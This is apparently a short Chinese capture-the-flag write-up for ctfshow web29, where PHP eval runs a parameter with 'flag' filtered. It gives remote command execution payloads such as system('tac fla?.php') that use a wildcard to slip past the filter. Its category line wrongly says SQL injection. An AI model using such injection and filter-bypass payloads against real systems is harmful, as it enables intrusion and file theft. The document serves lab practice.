ctfshow web29

ctfshow web29

  • 题号:web29
  • 难度:⭐
  • 考点:如 SQL 注入(无回显)
  • 日期:2026-8-28

题目描述

Pasted image 20260828094919 一个简单的eval命令执行,只是过滤了flag

解题思路

1.先简单审计函数,发现里面出现了关键函数“eval” 2.想到代码执行转变为命令执行去查看本地文件 3.发现flag文件,因为有过滤,所以我们可以使用占位符?或者通配符*去绕过

Payload / 关键操作

2.?c=system('ls');
3.?c=system('tac fla?.php');

复现截图

Pasted image 20260828095211 3.Pasted image 20260828095517

对应课程章节

59.RCE命令执行

踩坑记录 / 复盘

值得注意的是,我不知道是bug还是它内部过滤的原因,反正就是用不了cat命令